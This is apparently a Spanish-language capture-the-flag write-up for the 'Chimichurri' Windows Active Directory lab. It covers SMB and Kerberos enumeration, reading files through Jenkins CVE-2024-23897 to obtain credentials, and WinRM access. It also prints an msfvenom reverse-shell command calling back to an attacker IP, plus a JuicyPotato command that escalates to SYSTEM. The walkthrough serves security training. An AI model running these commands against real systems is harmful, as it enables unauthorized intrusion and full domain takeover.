← Volver al inicio

Chimichurri - Hackerslabs - Windows AD


Sistema operativo: Windows Active Directory.

Plataforma: The Hackers Labs.

En este laboratorio analizaremos el compromiso completo de la máquina Chimichurri. Comenzaremos explorando la interfaz CLI de una versión vulnerable de Jenkins para extraer credenciales en texto plano, continuaremos estableciendo una sesión interactiva por PowerShell sobre WinRM y concluiremos explotando privilegios de suplantación de tokens (SeImpersonatePrivilege) para escalar hasta SYSTEM y tomar el control del dominio chimichurri.thl.

Reconocimiento

Para comenzar utilizaremos la herramienta Auto-Recon. Suite de herramientas del sistema programadas para realizar el proceso de reconocimiento de manera automatizada. De esta forma obtenemos información de interés mientras realizamos otros procedimientos en segundo plano. Pueden encontrarla en mi perfil o descargarla aquí

Nos encontramos frente a un Active Directory. Nos llama la atención el puerto 6969 que corresponde a un servicio web llamado Jetty y que aloja el archivo robots.txt

Enumeración SMB

La enumeración con crackmapexec no nos entregó información

smbclient nos mostró los recursos compartidos y un directorio al cual podemos ingresar.

El procedimiento fue: entrar al recurso compartido y esta nos conecto por SMB, encontramos un archivo llamado credenciales.txt, y con el comando get credenciales.txt lo transferimos a nuestra máquina atacante.

tenemos un usuario válido y quizás una contraseña (perico)

Enumeración Kerberos

Para validar las cuentas del AD (Active Directory) usaremos la herramienta kerbrute. Esta fue diseñada para realizar fuerza bruta y enumeración de usuarios en AD aprovechando el protocolo kerberos en el puerto 88.

Cuando kerbrute valida un usuario, no intenta iniciar sesión de forma completa. Solo envía una solicitud de preautenticación Kerberos al controlador de dominio para un nombre de usuario especifico:

  • Si el usuario existe: El servidor responde con un error tipo KDC_ERR_PREAUTH_REQUIRED(exige la contraseña) o KDC_ERR_KEY_EXPIRED. Kerbrute lo interpreta como usuario válido.
  • Si el usuario no existe: El servidor responde con un error KDC_ERR_C_PRINCIPAL_UNKNOWN(usuario no encontrado) Kerbrute lo descarta.

Sus funciones principales son la enumeración de usuarios, password spraying y fuerza bruta de contraseñas.

Esta enumeración nos encontró usuarios válidos.

Ya que tenemos usuarios del sistema, nos creamos un diccionario, y con la herramienta impacket-GetNPUsers validaremos si estos no requieren autenticación en kerberos.

Tras esta verificación de la preautenticación de Kerberos, confirmamos que los usuarios encontrados no cuentan con el atributo UF_DONT_REQUIRE_PREAUTH.

Análisis de Jenkins

Esta versión antigua de Jenkins cuenta con múltiples fallos de seguridad corregidos en versiones posteriores, destacan problemas críticos como la lectura arbitraria de archivos vía CLI asociada a CVE-2024-23897 y el secuestro de WebSocket **CVE-2024-23898.

Sus riesgos principales son la lectura de archivos, permitiendo a usuarios no autenticados leer partes o archivos completos del servidor y la posibilidad de escalar a RCE (Ejecución Remota de Código).

Con esta información validaremos estos fallos.

  • https://www.exploit-db.com/exploits/51993

Luego de navegar encontramos un script de python donde explotan la vulnerabilidad de LFI de Jenkins.

  • https://www.cloudsek.com/blog/xposing-the-exploitation-how-cve-2024-23897-led-to-the-compromise-of-github-repos-via-jenkins-lfi-vulnerability

Explotación

Al ejecutar el script podemos ver que solo necesitamos ingresar la URL y especificar la ruta del archivo que queremos ver

y tenemos las credenciales del usuario hacker.

Volviendo a la fase de reconocimiento, vemos que la máquina víctima tiene el servicio winrm activo. Este servicio es el equivalente a SSH en Linux.

Validamos las credenciales

con esta comprobación obtenemos 3 cosas fundamentales.

  1. Credenciales válidas
  2. Acceso Remoto confirmado
  3. Privilegios elevados (Pwn3d!)

Ahora para obtener una consola de PowerShell podemos usar evil.winrm usando estas credenciales.

Como vimos en el laboratorio anterior Ensalá Papas, contar con SeImpersonatePrivilege, podemos forzar al sistema a autenticarse contra un servidor local y elevar nuestros privilegios a SYSTEM

Nos creamos el archivo de la reverse shell con msfvenom

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.192.139 LPORT=443 EXITFUNC=thread -f exe -a x86 -o rs.exe

Subimos los dos archivos necesarios (JuicyPotato.exe y)

Ponemos nuestro puerto 443 en escucha y ejecutamos los archivos apuntando a cmd del sistema

./JuicyPotato.exe -t * -p C:\Windows\System32\cmd.exe -l 443 -a "/c C:\Users\hacker\Documents\rs.exe"

En esta ocasión no fue necesario poner el CLSID del Sistema Operativo..